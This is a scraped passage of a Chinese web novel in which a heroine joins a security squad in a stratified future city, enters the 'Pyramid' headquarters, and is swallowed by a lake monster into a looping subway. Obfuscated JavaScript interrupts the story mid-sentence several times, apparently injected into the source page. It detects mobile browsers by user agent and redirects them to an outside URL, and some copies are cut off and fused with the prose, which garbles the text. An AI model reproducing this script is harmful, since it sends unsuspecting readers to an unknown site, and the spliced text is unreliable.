主要是她进入名利场的门票太贵了，她需要尽快偿清。 “我作为你的队长，全程负责带你，找到的一切资源给你。” 特别行动队总队长亲自带她，还把资源都给她！ 乐晴两眼放光，利索地道谢：“谢谢贺队！” 贺以辛看了一眼乐晴肝脑涂地的恭敬模样，嘴角微微上扬，抬脚继续往前走。 见贺以辛走远，乐晴赶紧跟上：“贺队，你不忙吗，为什么有时间亲自带我？” “因为已经有一批人可以独立行动。” “贺队，我们要走多远，金字塔离这里很远吗，我们要走着过去？” “不用，离开这片区域就好。” 乐晴不知道贺以辛说的离开这片区域是什么意思。 “贺队，离开这片区域要多久？” “半小时。” “贺队，我的工作有双休吗？” “一周上五天班，不过上班时间不固定，你需要随时保持警惕。” 那也还行。 “贺队，你热爱工作吗？” “……不热爱。” 果然，有几个打工人会热爱工作？不过，贺以辛看上去级别应该很高，也不喜欢工作吗，还是权力不够大？ “贺队……” “再问滚。”贺以辛没耐心回答那些不相关的问题了。 “好的，贺队！” 乐晴蹦蹦跳跳地跟在后面。 贺队…… “不过贺队，你的其他队友也都叫你贺队吗？” “有什么问题？” 没有否认，那就是默认了。 其实也没什么其他的问题，就是……乐晴总觉得“贺队”这个称呼叫起来有点像……“hetui”。 按照她的想法，她也当不了队长，不然，别人得叫她“乐队”，不知道的还以为她是个容器呢，一叫她就会有“哆来咪发”“咚咚乓乓”的声音。 “没事，贺队，我觉得这个称呼挺不错的。” 告诉他了，他会发火的吧。 乐晴眯起眼睛笑了笑，试图在贺以辛眼前糊弄过去，好在贺以辛也并没有追究。 没有走多久，乐晴又问：“快到了吗？” “前面拐弯就到了。” 拐过一道弯，乐晴没看见什么金字塔，别说她想象中的办公楼了，连房子都没有。 一条狭窄的路口，盘腿坐着一个衣衫褴褛的人。 他的面前摆着一只破破烂烂的红色脸盆。 “贺队，他是谁，我们需要帮帮他吗？”乐晴提前给自己穿上了安全部特别行动队队员的“制服”。 “疯乞丐，他不会伤害自己，也不会允许别人伤害他，平时遇到了也不用管。” “哦。” 乐晴嘴里应着，可眼神还是忍不住朝疯乞丐看过去。 疯乞丐盘腿坐在红脸盆的前面，像个神棍一样，有时候身体后仰，有时候身体前倾，目光炯炯，手里捧了个金字塔形状的盒子，嘴里念念有词。 他盯着红脸盆：“船要沉了，船就要沉了！” “贺队，什么船？” “那艘船的模型。” 红色的脸盆里，一艘白色平甲板的模型船摇摇晃晃，疯乞丐偶尔碰到脸盆，脸盆里的水就剧烈动荡起来，将白色小船掀翻。 白色小船快沉了，疯乞丐就把它捞起来，然后周而复始。 贺以辛叮嘱她：“这个世界有很多严重受到精神污染的人，尤其是在贫民区，平时遇到了直接上报医疗部，这不是安全部的职责范畴，你不用插一脚。稍后我会带你熟悉流程。” “好。” 贺以辛说拐过弯就到，可乐晴并没有看到什么和金字塔相关的东西。 “贺队——” 乐晴话音刚落，他们的眼前就凭空出现了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271267|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层厚厚的雾，像是一堵墙。 乐晴戳了戳浓厚的雾气，手指很容易就穿过去了，凉飕飕的，雾墙的中间好像有很多股窜来窜去的风。 “贺队，这是什么？” “雾墙，隔开和平区和贫民区的界限。” 阶级界限实体版。 “他们过不来吗？” “和平区的人可以在两边自由穿梭，贫民区的人无法通过前往和平区。”贺以辛一边介绍一边告诫乐晴，“你也不可以带人过去。” 乐晴心里有点不舒服：“贺队，和平区的人多吗？” “不多。” “空间呢？” “不大也不小。” “有精神污染吗？” “忽略不计。” “那为什么不能让贫民区的人过来？” 如果不留在贫民区，他们不就可以不遭受精神污染了吗？对他们来说，可以免受精神污染的痛苦，对和平区的人来说，秩序也能更稳定。明明是两全其美的办法，为什么不这么做呢？ 贺以辛垂眸看她：“和平区的资源只能供养三分之一现在生活在贫民区的人，你想让哪些人过去？” “我……”乐晴哑口无言。 从贫民区里选择三分之一的人，让他们进入和平区？选哪些？怎样选？ 还是让和平区的人自愿将大家都默认属于自己的资源拱手让人？怎样让他们自愿奉献？ 贺以辛并没有就这个问题批驳乐晴见识短浅：“既然还没有想好解决的对策，就先把这个问题放到一边，去寻找解决的对策。” “——当你有将理论转化为实际的能力了，再去做。” 贺以辛拉起她的手腕：“抓好我的手，小心走散。” 乐晴下意识抱住他的手臂。 雾墙并没有她想象中的那么薄，而是像一整个充满了轻飘飘雾气的空间或星球，这里的引力极小，她几乎是悬空的，全程被贺以辛带着在什么也看不清的雾气里穿梭。 “害怕吗？” 浓雾里传来贺以辛的声音。 “怕什么？” “这么信任我？” “……”有一种不好的预感。 遇到贺以辛之后，乐晴有什么问题都直接找贺以辛，反而把系统给忘到九霄云外了。 “统子哥。” “我在。” “你再给我保证一遍，他不会害我，对吧？” “系统保证，贺以辛坚决以你的利益为先，不会做出任何对你的生命和财产有损的行为。” 得到系统的再三保证，乐晴肯定地回答贺以辛：“当然！” 虽然偷看了剧本，但是莫名其妙来到一个人生地不熟的地方，又是给她开的金手指，不用白不用，对吧？ 不知道是不是自己的错觉，乐晴好像听见贺以辛轻轻笑了一声。 乐晴莫名其妙：“你笑什么？” “我没有。”贺以辛还是板着脸。 那是系统笑的？系统会笑？ 乐晴奇怪地看着贺以辛的侧脸，心里想着，肯定是他装的。 也不怪他，要当好大队长，当然要威严一点，动不动就笑，怎么让部下信服？ 乐晴看见贺以辛的耳尖有些红。 让你憋着不敢笑出声，耳朵都憋红了吧。 - 很快，贺以辛就带她从雾墙里穿出来了。 雾墙那头的和平区和贫民区简直是两个世界。 贫民区像是丛林和草原，很难才能找到隔得很远的一小片一小片的贫民窟，而和平区到处是四四方方的街道和高耸入云的摩天大楼。 闪烁的霓虹光谱碎在路面的积水里，全息广告穿透高楼，将紫色数据流投射在反光的玻璃幕墙上，紫色的跑车从幕墙顶部疾驰而下，绕过大厦，又冲向天际。 天际，只留下几条凝结尾迹。 天际线下，矗立着一座台体外观的大厦，像是被削去上半部分的金字塔，又像是只搭建到一半的金字塔。 玻璃幕墙反着光，刺眼的太阳光让她有些发晕。 好强的光污染。 乐晴收回视线。 5. 工作 “贺队，这里的汽车会飞啊？！”乐晴看着一辆汽车从天际划过，留下浓白的航迹云，难以置信。 小时候的语文作文变成现实了？ 不过乐晴好奇：“既然会飞，为什么还要在地上开？” 除了偶尔划过天际的汽车，大部分的汽车还是在地上跑，遵守着交通法规。 乐晴想，这里是一个发达程度很高的地方，但同时，这里也是一个等级差距很大的地方。 贫民区的人难以想象和平区普通人的繁华生活，和平区的普通人也无法想象天际划过的汽车里坐着的是什么人。 贺以辛解释：“看他们的牌照。空中航道也是受管制的，A开头的汽车可以飞行，其他的只能在地上开。” “那你的车呢，可以飞吗？” 贺以辛微微挑眉：“想体验一下吗？” “当然！” 还没坐过会飞的汽车呢。 贺以辛打了个响指，一辆橙色的跑车凭空出现在他们的面前。车的前后挂着的车牌号，正是“A”开头的。 【A01】 天上飞的车的车牌号她看不见，但她能看见地上跑的车的牌号，无一例外，都是七位、八位。 只有贺以辛的车，牌号只有三位，还是字母A和数字0、1这种很靠前的。 “上车。” 乐晴坐在副驾，看贺以辛驾驶着跑车，发动引擎，汽车腾空而起。 没坐过会飞的汽车，也没坐过跑车，更没坐过会飞的跑车。 这就是未来世界吗？ 乐晴有些兴奋，透过玻璃到处看。 人，车，大楼，在她的视角都变得渺小。 和她小时候想象中的未来世界有点像，但又有很大不同。 但“会飞的汽车”，和想象中是一样的。 中控台的面板上，几条白色的路线交叉着，只有一条路线是红色，红色路线的终点标着“金字塔”三个字。 空中，能飞的汽车不多，都按照既定的航线飞行，乐晴远远地能看到一辆从他们的车下路过。 “贺队，能在空中飞的车，都是什么人在开？” “金字塔里的人。” 又问了一个没用的问题。 贺以辛解释：“大部分都是为了执行任务。道路车辆太多，走空中航线会更快，而且不会妨碍到其他人的正常生活。” “哦。” 乐晴没再继续问下去。 空中行驶的车速度很快，一眨眼的功夫，金字塔就到了。 车缓慢降落在金字塔的门前。 金字塔，正如其名，庞大、让人叹为观止。 “我们不能直接飞进去吗？” 乐晴对贺以辛这种需要先停车、把车收进面板，再进去的脱裤子放屁的行为很不理解。 “飞不进去的。”贺以辛带着乐晴靠近金字塔，“你试试。” 乐晴茫然地看着金字塔，伸出手指，试探性戳了一下。 好像又有一堵什么墙，一道看不见的，比雾墙更稀薄的墙，挡住了她的路。 “滴——非法闯入。” “……” 乐晴讪讪收回手。 “像这样。”贺以辛示意乐晴看着，然后右手手掌朝金字塔，摁上那堵透明的墙。 一块淡蓝色的面板出现，0和1组成的代码闪过，识别着贺以辛的身份。 “识别中……识别通过。” “咔嚓”一声。 无事发生，但是贺以辛人已经飘了起来，顺着墙往上升。 “贺队，你没给我权限！”乐晴被遗忘在塔下。 “你也试试。” “试试？”乐晴如法炮制，手掌贴上透明的幕墙。 “识别中……识别通过。” “咔嚓。” 紧接着，乐晴也飘起来了，和贺以辛一样。 乐晴仰头大声叫贺以辛：“贺队，你录入我的信息了吗，为什么我也可以进来？” 贺以辛居高临下看着她：“因为基因。” 生来就具备进入金字塔的基因。 乐晴默了一瞬。 她鄙视生来就有的等级分明，可她现在正处于她所鄙视的上位。 可正如贺以辛说的，还没有掌握可以改变现状的能力，就不要让自己被所谓的正义吞没。 很快，她就顾不上思考这个问题了，因为她还不会控制自己的身体，在微弱的风体的托动下，她的身体倾倒过来，变成了头朝下、脚朝上。 所谓，头重，脚轻。 “贺队！” 贺以辛无奈，控制自己和她保持同一水平位置，然后提着她的脚踝，轻轻一拉，就把人掉了个方向，带她稳稳落在金字塔的地面上。 他们到达的位置是金字塔的第一层。 第一层和地面差了五十来米，至少十五层楼高。 要想登上这第一层，唯一的办法就是靠风体托着上来。 他们落下的地方是一片空阔的梯形平台。 玻璃大门前铺满了浅灰色的亮面大理石地砖，反射出她的倒影。 走过二十来米的平台，是一扇自动感应推拉式玻璃门，门口站着十二名看守的卫兵。 他们穿着黑色西装，锐利的眼光审视着乐晴，却在看见贺以辛的时候默契地低头以示恭敬。 看样子，他们的腰间还别着什么武器。 “贺队。” 贺以辛只是冲他们微微点头。 卫兵也是安全部的人，他们奉贺以辛为总队长、安全部地位最高的人，甚至是金字塔地位最高的人。 他们只对那几个人打招呼，而贺以辛的优先级最高。 贺以辛注意到乐晴没跟上来，后退一步，把正在研究自动感应玻璃门的乐晴从室外拉到室内。 “你会在这里工作很久，不用急着研究大门。” “哦。”可那扇门看着很厚实，不像是子弹能击穿的。 金字塔需要这么坚实的防御吗？那只能靠基因才能到达一层的壁垒已经足够将其他人隔离在外了。 乐晴好奇：“贺队，这里只有一扇门吗？” “当然不是，不过大家的权限只能走这一扇门。” “我呢？” “你一样。” “噢。” 她有进入金字塔的资格，但也是权限最低的人。 “这里是大厅，吃饭、普通的休息室都在一楼。” 一楼很大，很空旷。 贺以辛皮靴踩在大理石地面的声音和他说话的声音交叉响起，在大厅里荡起回声。 “贺队，我们怎么上楼？” “这边。” 大厅的最中央是一个直径约五米的喷泉，泉水从下而上喷出，有些洒进四周栽种着花草的土壤里。 绕过喷泉，后面是一个同样直径的漆黑的洞。 “跳进去。” “啊？” 跳进去？ 乐晴低头看着深不见底的黑洞，有些心里犯怵。 贺以辛率先一步踏进空洞。 “贺队——” 预想之中的坠落并没有看到，贺以辛被一股风托起，缓缓上升。 乐晴这才发现，他们的上方是通往二楼的“门”。 “跟上。” “好。” 乐晴赶紧一脚踏进去，也被轻飘飘的风送到二楼。 二楼没有那么空旷，除了最中央的休息区，剩下两条廊道通往各个办公区。视野所及之处摆着长势很好的盆栽，还有上一次活动没有撤下来的装饰灯。 “可贺队，我们怎么下楼？”上楼靠的是风，下楼靠什么，重力？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271268|182310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不能够吧。 贺以辛指着角落里的门，“叮”一声，门开了。 门里涌出来十七八个人，他们手里捧着各种颜色的文件夹，里面露出皱巴巴的纸张，脚步匆匆，但都在路过贺以辛的时候开口：“贺队。” 乐晴躲在旁边，默默看着。 贺以辛的权力比她想象得更大。 “风只是托举你的工具，想上楼还是下楼，看你怎样控制自己的身体。如果要上的楼层比较多，可以走电梯。” “……”原来有电梯啊。 贺以辛提前打预防针：“设计电梯的时候，为了后续方便，厢体较大，能容纳的人多，如果遇上坐电梯的人多，不如靠风。” 贺以辛带乐晴继续上三楼：“二楼是行政部、财政部，需要对接的时候我再带你过去。安全部在三楼。” “好。贺队，一共有多少个部门？” “二十三个。指挥部在最顶层，还有科技部、人社部、行政部、财政部、医疗部……算了，现在说了也记不住，后面你都会慢慢接触到。” 两人落在三楼。 三楼和二楼的风格完全不一样。 二楼像是广告公司的休息区，三楼像是监狱，公共区域取而代之的是灰黑色的铜墙铁壁和整装待发的工作人员。 乐晴看着他们，他们朝贺以辛鞠躬：“贺队。” 贺以辛带乐晴进入一道门：“他们在准备出任务，二分队队长带队。培训结束后合格的话，你也会和他们一起出任务。” 又进入一道门，贺以辛介绍：“安全部一共三个分队，平时出任务至少两人一组。另外，如果遇到危险等级较高的任务，会有至少两名公安部的同事一起。” “公安部和安全部有什么不一样吗？” “通俗来说，公安部重点负责保护人民财产安全，安全部重点负责捕杀怪物。” “懂了。” 一个守塔，一个点塔。 “其他的先不用了解，合同看一下，然后签了。” 被合同坑过，乐晴不敢草率，从封面到落款，一个字一个字看过去。 无责底薪十颗命珠一个月，一周工作五天，包吃包住……薪资条件看着真的很诱人，至少对她这个一无所有、欠着两个亿的穷鬼来说，完全没办法拒绝。 可她终归不是学法的，担心有了解不全面的地方。 “统子哥！” “在。” “合同能签吗？” “能。” 那就签吧。 再差也是一份能挣大钱的工作。 会不会死在执行任务的途中她不确定，但是她确定，如果一年内还不清那两个亿，她必死无疑。 乐晴利索地在需要签名的地方签下自己的姓名。 “今天就是你工作的第一天了。”贺以辛扔给乐晴一套制服，“先跟我去出任务。” 这么快？她才刚到啊！ 乐晴又紧张又兴奋。 现实世界要进体制内还得过五关斩六将，又是报班又是求爷爷告奶奶呢，她这是直接捡着现成的了？ “贺队，休息时间固定吗？” “不固定。”贺以辛看了她一眼，好像不理解她的天真，“怪物不会在你休息的时候冬眠。” “……” 话虽然糙，但很有道理。 她的确没见过作息规律的警察。 罪犯不会在警察的工作时间内犯罪，怪物也不会在他们的工作时间内才出门。 没事，好歹有双休，就算双休的时间不固定，也是双休。 “那贺队，我的双休是固定的吧？” 贺以辛奇怪地看着她：“谁跟你说是双休？” 乐晴愣在原地：“合同上不是说，上五天班吗？” “这里，一周只有五天。” 6. 暗湖 怎么会有一个地方默认一周只有五天？ 天杀的！签了卖身契了！ 乐晴现在的怨气比鬼重，阴恻恻地跟在贺以辛身后。 要是杀了他，能不能把合同拿回来撕掉？反正没归档，天知地知，她知他知，他死了，就都不知道了！ 贺以辛忽然停下脚步，乐晴沉浸在自己的白日梦中，一不留神撞在他的背上。 乐晴捂着脸：“你怎么突然停了？” “想跟着我进男更衣室？” 乐晴抬眼，这才看到门上“男更衣室”的牌子。 贺以辛指着另一个方向：“女更衣室在那边。” “噢。” 乐晴想哭。 但是哭不出来。 要是放在以前，她铁定撂挑子不干了，可现在……身无分文，还欠两个亿，两个亿啊。 贺以辛值两个亿吗？如果把他的命拿到黑市上，会不会有人出价两个亿？ 乐晴觉得自己的脑门上飘着五个字：我欠两个亿。 全世界的人都可以借着这“两个亿”踩她一脚，然后扔给她三瓜俩枣，化解掉她的怨气。 - 刚从更衣室走出来，一根缀着黑色曜石的手链朝乐晴飞过来，她手忙脚乱去接。 乐晴拎着手链晃了晃：“贺队，这是什么？” “随身空间，挂脖子上、缠手腕上，都可以。” “随身空间？”乐晴理解了一下这个名词的意义，“就是说，我的东西可以放在这里面？” “对。”贺以辛觉得越来越不对劲了，他找来的这个人怎么好像什么都不知道。 贺以辛带她继续往里走：“不然你以为我的跑车放哪里？” “面板工具栏啊。” “什么面板工具栏？” 等等……意思是，面板是只有她才有的吗？有系统在，所以她有面板和工具栏，可以存放物品，但是其他人只能用随身空间？ “统子哥！” “在。” “只有我有面板，对吗？” “是的。” 她还真是开了挂来的。 只有主角才有金手指，她有金手指，所以她是主角？ 乐晴忍不住嘴角上扬。这是受了小半辈子的苦之后，苦尽甘来了？ “发什么呆呢？” 乐晴回过神来的时候，她已经跟着贺以辛走进了一个漆黑的空间。 乐晴回头，一扇黑色的门正在关闭，合上时发出沉闷的撞击声，连带她脚底踩的地面都震动起来。 大门合上，空间里的照明系统启动，照亮她的视野。 她所在的位置是武器库。 乐晴看着玻璃展柜里各式各样的枪，忍不住贴上去：“热武器啊！” 她要是能拿着枪，那不是一枪一只小野猪？如果有大炮，能直接把一个野猪部落轰平，还清区区两个亿不是分分钟的事情？可比镰刀好使多了。 其实也不一定要厌恶这份工作的，对吧？ “贺队，我可以在这里选一把枪吗？” “可以。”贺以辛指着她面前的展柜，“选合眼缘的。” 合眼缘的？ 乐晴想了想：“你们这儿有杀猪刀吗？” 要说合眼缘的武器，那还得是杀猪刀啊！ 当初，她在职场上受了一肚子气，果断把手里的键盘换成了杀猪刀，自此以后，甭说猪了，人看见她手里的杀猪刀也得礼让三分。 “……你说呢？不如继续用你那把破镰刀好了。”说着，贺以辛转身就要往外走。 “我错了贺队！”乐晴果断认错，指着里面看上去最好看的一只黑色双管枪，“贺队，我要这个。” 贺以辛瞥了乐晴一眼，通过展柜的人物识别，打开柜子，取出那只双管枪。 “眼光不错。” 接过贺以辛抛过来的双管枪，乐晴有些不敢相信。 就这么拿到了？ “子弹提前在你的随身空间里放了，补充找安全部的资源负责人黎楷期，大厅右转第一间。” “是。” - 第一处行动地点，暗湖。 乐晴和贺以辛站在冰面上，隔着冰面是漆黑的湖，湖面厚实的冰层长着密密麻麻的裂缝。 有裂纹，但是冰层看上去很厚，应该不像是会掉下去的样子。 乐晴有些冷：“贺队，我们的任务是什么？” “先等着。”贺以辛抬起手腕，看了一眼，“还有五分钟，做好准备。” “是。” 乐晴不知道任务是什么，不知道五分钟之后将会发生什么，也不知道该做好什么准备，这让她很没有安全感。 一切都是未知。 就好像她刚来到这里的时候，她对这个世界一无所知，对自己即将面临的事情一无所知，像拉剧情进度条一样走到现在。 她从来没有选择，只有被迫继续。 乐晴紧了紧手上的枪，警惕地看着暗湖四周的密林。 有呼呼的风声，还有杂乱的脚步声。 可四周明明什么都没有啊！ 天空忽然暗了下来，浓密的乌云翻卷而来，覆盖住她上方的空间，并且不断压缩着空间，乐晴觉得呼吸逐渐困难。 是真的呼吸不过来，还是心理作用？ 乐晴深吸一口气，试图集中注意力。 乐晴转头，发现偌大的空间只剩下她一个人。 贺以辛不见了！ 乐晴四处去找，可视野所及之处已经没有贺以辛的身影，密林愈加漆黑，黑暗中闪烁着一只只亮红色的光点，好像有什么凶恶的怪物伺机而动。 黑云压得更低了。 贺以辛去哪里了，把她留下了，还是被空间隔开了？ 下一秒会发生什么，密林里的怪物倾巢而出，还是黑云塌下来？ 乐晴实在不擅长在这种被动的情况下做出合适的选择。 “统子哥？” “在。” “你——” 话还没说完，乐晴感受到一股气流涌上来，把她的头发和衣角都往上掀起，带着阴森冷冽的风。 乐晴低头，漆黑的湖底更黑了，好像有什么东西在迅速朝她冲过来。 暗湖，暗湖，原来危机藏在她没有注意到的地方，贺以辛已经提醒过她了，第一处行动地点是暗湖。 冰面下的阴影不断靠近、扩大，像是在白色卫生纸上晕染开的墨迹，侵蚀着每一处干净的地方，舔舐着乐晴的脚尖，逼得她不断朝岸边后退。 冰面下的是什么，一张巨大的鲨鱼嘴？乐晴看不真切，她只能看到越来越浓烈的黑。 上岸就好了吗？ 并不是。 一张漆黑的嘴冲破冰面，碎裂的冰层炸开，砸在她的身边，那张巨嘴里长满了密密麻麻的尖利的牙齿，它们划破空气，挡住射向口腔内部的子弹，乐晴猝不及防被吞了进去。 一只长着巨大鲨鱼嘴的生物在粗糙的地面上磨蹭了几下，盯着藏匿在另一个空间的人，似乎有些不甘心，但又无可奈何，愤懑地将粗壮的蛇尾砸向他所在的方位，却只能透过折射而来的影像，在地上砸出一个大坑。 生物用嘴叼起蛇尾，翻滚进水中。 被炸开的冰层像拼图一样跟在生物后面缓缓滑入，裂开的表面粘合在一起，逐渐融为一体，只留下浅浅的裂纹。 - 金字塔三楼安全部，贺以辛站在玻璃幕墙边，垂眼看着正在整理卷宗的丁凡。 “时间快到了，你准备好了？” 丁凡扶了扶快滑到鼻尖的眼睛，抬头，眼神炯炯地看着贺以辛：“贺队，你知道的，我等待这一天已经等了很久了。” 贺以辛点头。 这一天的到来，他也等了太久太久。 “不过——”丁凡忽然开口，将墙上的投影转了个角度，“贺队，你确定她可以？” 投影里是一个倒挂在树上的人，她的身下血流成河。 明明是第一次遇到这种诡谲的情形，她却能冷静且果断地解决，这已经能说明问题。 贺以辛向来果断，却罕见地陷入了沉默。 她可以吗？ 贺以辛觉得现在的她还不行，她还需要足够的时间成长。 可是没有时间了。 “她没有选择，我们也没有。” 丁凡看着投影里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那次大火之后，先知疯了。 贺以辛说，先知因为知晓所有即将来临的苦难，却无法阻止，早已精神失常，直到目睹那一场灾难，彻底疯了。 据说，那场大火里死去的有他的挚友。 如果先知一开始就没有试图阻拦爆炸的飞鸟，死去的不会是那个贫民区里的人，死去的人里不会有他的挚友。 从那以后，先知很少出现在金字塔，丁凡只见过他两回。 一回是先知又一次遇见烧毁人间的大火，他义无反顾扑进烈火，试图烧毁自己的不死之躯，被贺以辛带了回来。 一回是前不久，先知突然清醒，说“救世主即将归来”，赶来金字塔通知他们，但刚告诉贺以辛和丁凡，先知又疯了。 丁凡叹了一口气，合上卷宗。 或许贺以辛是对的，知道的越多就越痛苦。 混沌地活着，至少能活着。 - 乐晴感知到自己身体的时候，依然有些状况外。 她还活着？ 没有想象中的被鲨鱼的牙齿钉穿身体，没有意料中的被胃酸腐蚀，她的的确确还活着，而且浑身上下没有任何疼痛的感觉。 “橄榄山到了，本次列车开往亚拉腊山方向，下一站，黑门山……” 什么橄榄山黑门山的？乐晴揉了揉太阳穴。 现在的她就像回到了大学刚毕业，挤一个多小时地铁上班的时候，身边是拥挤的牛马，而她，也即将变成给自己戴好绳索，花钱给自己买兴奋剂的牛马。 逃离地铁。 乐晴的脑子里只有一个念头：逃离地铁。 逃离地铁是拒绝上班的第一步。 “麻烦让一下！”乐晴试图从拥挤的人群中挤出去。 刚靠近地铁门，距离乐晴最近的一节地铁车厢的中间忽然传来什么东西坠地的声音，乐晴被层层人群挡着，只能踮脚去看。 有人晕倒了。 地铁开始减速，下一站要到了。 7. 循环 “黑门山到了，本次列车开往亚拉腊山方向，下一站，迦密山……” 地铁门“嘭”地一声被扯开，外面站着两个从头到脚被白色防护服包裹着的医护人员。 看见医护人员，车里拥挤的人群默契地让开一条路，乐晴得以看见骚动发生的现场。 一个背着黑色电脑包的男人倒在地上，脸色蜡黄，手脚像上了发条一样抽搐着，嘴角渗出血沫。 即使是这样，他的右手依然保持将手机举在耳边的动作，手机里传出来模糊不清的声音。 “你已被解雇，请于三个工作日内完成交接。” 手机那头不断重复着一句话——你已被解雇，请于三个工作日内完成交接。 手机这头被解雇的人已经没有办法回应。 站在左侧的医护人员偏头对准对讲机，发出冰冷的机器处理过的声音：“目标角色已死亡，建议两分钟内进行人道主义清除，避免污染进一步扩散。” 已死亡？目标角色？人道主义？清除？污染？ 这都什么跟什么啊。 乐晴看着那个正在抽搐的人，怎么也不像是已死亡的状态。 乐晴想阻止，可她压根不知道这是什么地方，自己又是什么身份，出面阻止会发生什么。 游戏么？ 对讲机发出“滋滋”的电流声，对面的命令传达下来。 “两分钟内清除污染源，一分钟内清洁列车。” 收到指示，两名医护人员不再犹豫，从人群中穿过，朝那个仍在抽搐的人走过去。 他们熟练地拿出一只浅蓝色的袋子平铺在地上，一人抬头，一人抓脚，一百多斤的人在他们的手中像一条软面包，被提起放进袋子里包裹起来。 拉链被拉上，裹尸袋自动排出内部空气，紧紧吸附上那个人的躯体。 那个人还在抽搐。 医护人员不是救人的吗，为什么会把一个活生生的人当作“污染源”清除？ 乐晴看不懂，并且大受震撼。 但是她下意识觉得，如果医护人员把那个人带走，列车开动，会有无法挽回的后果。 乐晴抬出一只脚，试图阻止他们。 列车车厢里闪烁着红色的光，车门依旧敞开。 是列车上的乘客，他们的眼睛在发光。 乐晴阻止的动作顿在原地，忍不住咽了咽口水。 他们在看着她。 如果她阻止列车的发动，他们会将她撕成碎片，然后把她当作污染源清理出去。 医护人员像没有看见乐晴一样，训练有素地把裹尸袋里抬了出去。 “滴——滴——滴——” 地铁门上方橙色的警示灯开始闪烁，发出警示音。 列车马上就要发动了。 医护人员退出地铁的同时，两个穿着白色防护服、穿蓝色长靴的人一齐迈进地铁车厢，他们的手中拿着一枚纽扣大小的药片。 有了先前的教训，乐晴尽量将自己的存在感降低，在事情弄清楚之前，她选择躲在人群里。 清除污染源是带走发病的人，清洁列车又是怎样，像清洁工一样擦拭发病的人接触过的地方或人？可他们什么都没带，除了手里的药片。 清洁人员手里的药片在进入车厢的瞬间发生变化。 浅蓝色的光点从药片中释放出来，像菌类释放出孢子，像路灯黑夜下游荡的灰尘。 孢子是脱离亲本后能发育成新个体的细胞，灰尘是物质粉碎后产生的微小颗粒。 也许是死亡，也许是新生。 浅蓝色的光点和她看到的那些死去怪物碎裂的命珠看上去是一样的，可它们是同一种物质吗？ 直觉告诉她，是。 污染源由已经死去或即将死去的生物产生，死去的生物又被用于清洁污染源。 太荒谬了。 可乐晴不得不暂时保留这一猜测，毕竟这个世界的诡异告诉她，不要用常理来思考，否则，怎么解释她被鲨鱼吞下后没有死，反而来到了这个奇怪的地方？ 光点吸附上列车上的每一个角落，那个人躺过的地方，亮着灯的车厢顶部，还有站在车厢里的人，光点像被磁铁吸引的铁屑一样，吸附上每一处可以吸附的地方，除了乐晴的四周。 可清洁人员也像没有看见一样，确定光点覆盖乐晴之外的地方之后，就收好药片，离开了。 “滴——滴——滴——滴——” 橙色的警示灯跳成红色，地铁门在清洁人员退出车厢之后迅速合上。 列车继续前进，裹尸袋里的人已经不动弹了，不知道是发病死了还是被闷死了。 车门合上的瞬间，停滞的时间流动起来，车厢里僵硬的乘客也变得和正常人没什么区别，低头看着手机。 恍惚中，乐晴忽然觉得回到了她还在写字楼坐地铁上班的时候。 可她明明早就离职了。 站在乐晴背后的人正在给手机里的联系人发语音抱怨。 “亲爱的，你再等我一下。我今天下班本来就晚了点，刚才车上还有个人突然发病，耽误了地铁运行……你放心，我们分手一周年的纪念日我肯定会陪你一起过啊。” 短短几句话让乐晴后背发凉。 她以为车上的乘客都是去上班的，可实际上他们是在下班路上。 她以为刚才的诡异是时间停滞了，可时间一直是流动的。 还有，分手一周年的纪念日，为什么要和前男友一起过，她还叫他亲爱的？ 乐晴忍不住转了个方向。 那个女生还在跟对面的人聊天，即使乐晴压根没看见对面有回应，甚至手机屏幕都没有亮过。 “迦密山到了，本次列车开往亚拉腊山方向，下一站，锡安山……” 乐晴在地铁里越待越觉得害怕，索性在地铁开门的瞬间冲了出去。 像是闯进一片喧嚣，地铁站台没什么人，却比拥挤的车厢更热闹，等待地铁的乘客都在闲聊。 还是不对劲……到底是哪里出了问题？ 她尝试过召唤系统，可系统好像被什么强制干预了，她只能听到接连不断的电流声，到后来，她什么都听不到了。 此刻，乐晴只有一个念头——离开地铁站。 乐晴找到楼梯，逆着人群往上走。 地铁站里的暖气开得很足，乐晴甚至能感受到头顶呼呼吹下来的暖风。 顺着出口的指示牌，乐晴很快就看到了离她最近的三号口。 拐过一个转角，乐晴看见了通向外界的电梯。 电梯是往下的，电梯的尽头，幽深、漆黑，什么都看不见，只能看见履带没入无尽的黑暗。 电梯那头是什么，某种奇怪生物的嘴吗？ 乐晴忽然觉得，地铁或许比外面更安全。 电梯运行的速度加快了，好像在催促乐晴赶紧站上去，把她送进深渊。 不行，得赶紧离开。 - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 